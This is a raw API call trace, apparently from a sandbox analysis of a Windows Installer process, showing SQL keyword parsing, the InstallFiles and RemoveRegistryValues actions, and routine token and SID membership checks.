lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0128.191] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0128.191] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0128.191] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0128.191] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0128.191] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0128.191] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0128.191] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0128.191] lstrcmpiW (lpString1="SELECT", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="FROM", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="AS", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="WHERE", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="NULL", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="OR", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="AND", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="NOT", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="ORDER", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="BY", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="DISTINCT", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="UPDATE", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="DELETE", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="INSERT", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="INTO", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="SET", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="VALUES", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="IS", lpString2="11") returned 1 [0128.191] lstrcmpiW (lpString1="CREATE", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="DROP", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="ALTER", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="TABLE", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="ADD", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="PRIMARY", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="KEY", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="CHAR", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="CHARACTER", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="VARCHAR", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="LONGCHAR", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="INT", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="INTEGER", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="SHORT", lpString2="11") returned 1 [0128.192] lstrcmpiW (lpString1="LONG", lpString2="11") returned 1 [0128.193] lstrcmpiW (lpString1="OBJECT", lpString2="11") returned 1 [0128.193] lstrcmpiW (lpString1="TEMPORARY", lpString2="11") returned 1 [0128.193] lstrcmpiW (lpString1="HOLD", lpString2="11") returned 1 [0128.193] lstrcmpiW (lpString1="FREE", lpString2="11") returned 1 [0128.193] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="11") returned 1 [0128.193] lstrcmpiW (lpString1="", lpString2="11") returned -1 [0128.193] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0128.193] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0128.193] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0128.193] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0128.193] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0128.193] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0128.193] lstrcmpiW (lpString1="SELECT", lpString2="12") returned 1 [0128.193] lstrcmpiW (lpString1="FROM", lpString2="12") returned 1 [0128.193] lstrcmpiW (lpString1="AS", lpString2="12") returned 1 [0128.193] lstrcmpiW (lpString1="WHERE", lpString2="12") returned 1 [0128.193] lstrcmpiW (lpString1="NULL", lpString2="12") returned 1 [0128.193] lstrcmpiW (lpString1="OR", lpString2="12") returned 1 [0128.193] lstrcmpiW (lpString1="AND", lpString2="12") returned 1 [0128.193] lstrcmpiW (lpString1="NOT", lpString2="12") returned 1 [0128.193] lstrcmpiW (lpString1="ORDER", lpString2="12") returned 1 [0128.193] lstrcmpiW (lpString1="BY", lpString2="12") returned 1 [0128.193] lstrcmpiW (lpString1="DISTINCT", lpString2="12") returned 1 [0128.193] lstrcmpiW (lpString1="UPDATE", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="DELETE", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="INSERT", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="INTO", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="SET", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="VALUES", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="IS", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="CREATE", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="DROP", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="ALTER", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="TABLE", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="ADD", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="PRIMARY", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="KEY", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="CHAR", lpString2="12") returned 1 [0128.194] lstrcmpiW (lpString1="CHARACTER", lpString2="12") returned 1 [0128.195] lstrcmpiW (lpString1="VARCHAR", lpString2="12") returned 1 [0128.195] lstrcmpiW (lpString1="LONGCHAR", lpString2="12") returned 1 [0128.195] lstrcmpiW (lpString1="INT", lpString2="12") returned 1 [0128.195] lstrcmpiW (lpString1="INTEGER", lpString2="12") returned 1 [0128.195] lstrcmpiW (lpString1="SHORT", lpString2="12") returned 1 [0128.195] lstrcmpiW (lpString1="LONG", lpString2="12") returned 1 [0128.195] lstrcmpiW (lpString1="OBJECT", lpString2="12") returned 1 [0128.195] lstrcmpiW (lpString1="TEMPORARY", lpString2="12") returned 1 [0128.195] lstrcmpiW (lpString1="HOLD", lpString2="12") returned 1 [0128.195] lstrcmpiW (lpString1="FREE", lpString2="12") returned 1 [0128.195] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="12") returned 1 [0128.195] lstrcmpiW (lpString1="", lpString2="12") returned -1 [0128.195] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0128.195] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0128.195] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0128.195] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0128.196] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0128.196] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0128.196] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0128.196] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0128.196] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0128.196] lstrlenW (lpString="Component") returned 9 [0128.196] lstrlenW (lpString="=") returned 1 [0128.196] lstrlenW (lpString="Component_") returned 10 [0128.196] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0128.196] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0128.196] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0128.196] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0128.196] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0128.197] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0128.197] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0128.197] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0128.197] lstrlenW (lpString="RegAction") returned 9 [0128.197] lstrlenW (lpString="Action") returned 6 [0128.197] lstrlenW (lpString="=") returned 1 [0128.197] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0128.197] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0128.197] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0128.197] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0128.197] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0128.197] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0128.198] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0128.199] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0128.199] lstrlenW (lpString="0") returned 1 [0128.199] lstrlenW (lpString="Root") returned 4 [0128.199] lstrlenW (lpString="=") returned 1 [0128.199] lstrlenW (lpString="0") returned 1 [0128.199] lstrlenW (lpString="RegAction") returned 9 [0128.199] lstrlenW (lpString="Action") returned 6 [0128.199] lstrlenW (lpString="=") returned 1 [0128.199] lstrlenW (lpString="11") returned 2 [0128.200] lstrlenW (lpString="RegAction") returned 9 [0128.200] lstrlenW (lpString="Action") returned 6 [0128.200] lstrlenW (lpString="=") returned 1 [0128.200] lstrlenW (lpString="12") returned 2 [0128.200] lstrlenW (lpString="RegAction") returned 9 [0128.200] lstrlenW (lpString="BinaryType") returned 10 [0128.200] lstrlenW (lpString="Root") returned 4 [0128.200] lstrlenW (lpString="Key") returned 3 [0128.200] lstrlenW (lpString="RegAction") returned 9 [0128.201] lstrlenW (lpString="BinaryType") returned 10 [0128.201] lstrlenW (lpString="Root") returned 4 [0128.201] lstrlenW (lpString="Key") returned 3 [0128.201] lstrlenW (lpString="Name") returned 4 [0128.201] lstrlenW (lpString="Value") returned 5 [0128.201] lstrlenW (lpString="Component_") returned 10 [0128.201] lstrlenW (lpString="null") returned 4 [0128.201] lstrlenW (lpString="null") returned 4 [0128.201] lstrlenW (lpString="null") returned 4 [0128.201] lstrlenW (lpString="Component") returned 9 [0128.201] lstrlenW (lpString="Attributes") returned 10 [0128.202] GlobalLock (hMem=0xf401a8) returned 0x3b50d80 [0128.202] GlobalUnlock (hMem=0xf401a8) returned 0 [0128.202] GlobalUnlock (hMem=0xf401b8) returned 0 [0128.202] lstrlenW (lpString="RemoveRegistryValues") returned 20 [0128.202] lstrlenW (lpString="Time") returned 4 [0128.202] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.203] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x28c)) [0128.203] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.203] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x28c)) [0128.203] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.203] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0128.203] memcpy (in: _Dst=0x3b5082a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5082a) returned 0x3b5082a [0128.203] memcpy (in: _Dst=0x3b5083a, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x3b5083a) returned 0x3b5083a [0128.203] memcpy (in: _Dst=0x3b5083e, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x3b5083e) returned 0x3b5083e [0128.203] GetCurrentThreadId () returned 0xf50 [0128.203] GetCurrentThreadId () returned 0xf50 [0128.203] SetEvent (hEvent=0x170) returned 1 [0128.203] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0128.205] lstrlenW (lpString="ActionText") returned 10 [0128.205] lstrcmpW (lpString1="Advertise", lpString2="InstallFiles") returned -1 [0128.205] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="InstallFiles") returned -1 [0128.205] lstrcmpW (lpString1="AppSearch", lpString2="InstallFiles") returned -1 [0128.205] lstrcmpW (lpString1="BindImage", lpString2="InstallFiles") returned -1 [0128.205] lstrcmpW (lpString1="CCPSearch", lpString2="InstallFiles") returned -1 [0128.205] lstrcmpW (lpString1="CostFinalize", lpString2="InstallFiles") returned -1 [0128.205] lstrcmpW (lpString1="CostInitialize", lpString2="InstallFiles") returned -1 [0128.205] lstrcmpW (lpString1="CreateFolders", lpString2="InstallFiles") returned -1 [0128.205] lstrcmpW (lpString1="CreateShortcuts", lpString2="InstallFiles") returned -1 [0128.205] lstrcmpW (lpString1="DeleteServices", lpString2="InstallFiles") returned -1 [0128.205] lstrcmpW (lpString1="DuplicateFiles", lpString2="InstallFiles") returned -1 [0128.206] lstrcmpW (lpString1="FileCost", lpString2="InstallFiles") returned -1 [0128.206] lstrcmpW (lpString1="FindRelatedProducts", lpString2="InstallFiles") returned -1 [0128.206] lstrcmpW (lpString1="GenerateScript", lpString2="InstallFiles") returned -1 [0128.206] lstrcmpW (lpString1="InstallAdminPackage", lpString2="InstallFiles") returned -1 [0128.206] lstrcmpW (lpString1="InstallFiles", lpString2="InstallFiles") returned 0 [0128.206] lstrlenW (lpString="ProductLanguage") returned 15 [0128.206] SetLastError (dwErrCode=0x0) [0128.206] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0xc10002 [0128.207] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x7540, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Copying new files\x09File: [1], Directory: [9], Size: [6]\r\n") returned 0x3a [0128.211] lstrlenW (lpString="File: [1], Directory: [9], Size: [6]") returned 38 [0128.211] lstrlenW (lpString="Copying new files") returned 17 [0128.211] FreeLibrary (hLibModule=0xc10002) returned 1 [0128.212] lstrlenW (lpString="InstallFiles") returned 12 [0128.212] lstrlenW (lpString="{{") returned 2 [0128.212] lstrlenW (lpString=": }}") returned 4 [0128.212] SetLastError (dwErrCode=0xd) [0128.212] lstrlenW (lpString="Time") returned 4 [0128.212] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x29b)) [0128.212] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.212] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x29b)) [0128.212] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.212] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x29b)) [0128.213] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.213] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0128.213] memcpy (in: _Dst=0x3b5081e, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5081e) returned 0x3b5081e [0128.213] memcpy (in: _Dst=0x3b5082e, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x3b5082e) returned 0x3b5082e [0128.213] memcpy (in: _Dst=0x3b50832, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x3b50832) returned 0x3b50832 [0128.213] SetLastError (dwErrCode=0x0) [0128.213] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0128.213] memcpy (in: _Dst=0x3b50832, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b50832) returned 0x3b50832 [0128.213] memcpy (in: _Dst=0x3b50838, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x3b50838) returned 0x3b50838 [0128.213] memcpy (in: _Dst=0x3b5083c, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x3b5083c) returned 0x3b5083c [0128.213] SetLastError (dwErrCode=0x0) [0128.213] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0128.213] memcpy (in: _Dst=0x3b5083c, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083c) returned 0x3b5083c [0128.213] GetCurrentThreadId () returned 0xf50 [0128.213] GetCurrentThreadId () returned 0xf50 [0128.213] SetEvent (hEvent=0x170) returned 1 [0128.213] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0128.214] lstrlenW (lpString="InstallFiles") returned 12 [0128.214] SetLastError (dwErrCode=0xd) [0128.214] SetLastError (dwErrCode=0xd) [0128.214] lstrlenW (lpString="Time") returned 4 [0128.214] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x29b)) [0128.214] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.214] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x29b)) [0128.214] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.214] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x29b)) [0128.214] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.214] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0128.215] memcpy (in: _Dst=0x3b5082a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5082a) returned 0x3b5082a [0128.215] memcpy (in: _Dst=0x3b5083a, _Src=0x376446, _Size=0x4 | out: _Dst=0x3b5083a) returned 0x3b5083a [0128.215] memcpy (in: _Dst=0x3b5083e, _Src=0x37644c, _Size=0x2 | out: _Dst=0x3b5083e) returned 0x3b5083e [0128.215] SetLastError (dwErrCode=0x0) [0128.215] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0128.215] memcpy (in: _Dst=0x3b5083e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083e) returned 0x3b5083e [0128.215] memcpy (in: _Dst=0x3b50844, _Src=0x376450, _Size=0x2 | out: _Dst=0x3b50844) returned 0x3b50844 [0128.215] GetCurrentThreadId () returned 0xf50 [0128.215] GetCurrentThreadId () returned 0xf50 [0128.215] SetEvent (hEvent=0x170) returned 1 [0128.215] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0128.217] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdca0, TokenInformationLength=0x58, ReturnLength=0x10cdc90 | out: TokenInformation=0x10cdca0, ReturnLength=0x10cdc90) returned 1 [0128.217] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdd80, pSourceSid=0x10cdcb0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdd80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0128.217] ConvertSidToStringSidW (in: Sid=0x10cdd80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdd60 | out: StringSid=0x10cdd60*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0128.217] LocalFree (hMem=0x3d6170) returned 0x0 [0128.217] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 46 [0128.217] lstrlenW (lpString="__MsiPerUserManagedProductsTable") returned 32 [0128.217] GlobalUnlock (hMem=0xf40028) returned 0 [0128.217] GlobalReAlloc (hMem=0xf40028, dwBytes=0x1bc, uFlags=0x2) returned 0xf40028 [0128.217] GlobalLock (hMem=0xf40028) returned 0x21dfd50 [0128.217] lstrlenW (lpString="__MsiPerUserManagedComponentsTable") returned 34 [0128.217] lstrlenW (lpString="UserSid") returned 7 [0128.217] GlobalLock (hMem=0xf401b8) returned 0x36e690 [0128.217] GlobalLock (hMem=0xf401a8) returned 0x37b0080 [0128.217] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdd80, TokenInformationLength=0x58, ReturnLength=0x10cdd70 | out: TokenInformation=0x10cdd80, ReturnLength=0x10cdd70) returned 1 [0128.217] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cde60, pSourceSid=0x10cdd90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cde60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0128.217] ConvertSidToStringSidW (in: Sid=0x10cde60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cde40 | out: StringSid=0x10cde40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0128.217] LocalFree (hMem=0x3d6cd0) returned 0x0 [0128.864] lstrcmpiW (lpString1="S-1-1-0", lpString2="S-1-5-18") returned -1 [0128.864] _wcsicmp (_String1="S-1-1-0", _String2="S-1-1-0") returned 0 [0128.865] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd9b0, TokenInformationLength=0x58, ReturnLength=0x10cd9a0 | out: TokenInformation=0x10cd9b0, ReturnLength=0x10cd9a0) returned 1 [0128.865] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cda90, pSourceSid=0x10cd9c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cda90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0128.865] ConvertSidToStringSidW (in: Sid=0x10cda90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cda70 | out: StringSid=0x10cda70*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0128.865] LocalFree (hMem=0x3d6020) returned 0x0 [0128.865] _wcsicmp (_String1="S-1-1-0", _String2="S-1-5-21-4219442223-4223814209-3835049652-1000") returned -4 [0128.865] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0128.865] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10cdba8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10cdb98 | out: pSid=0x10cdb98*=0x3770d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0128.865] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x3770d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x10cdb90 | out: IsMember=0x10cdb90) returned 1 [0128.865] 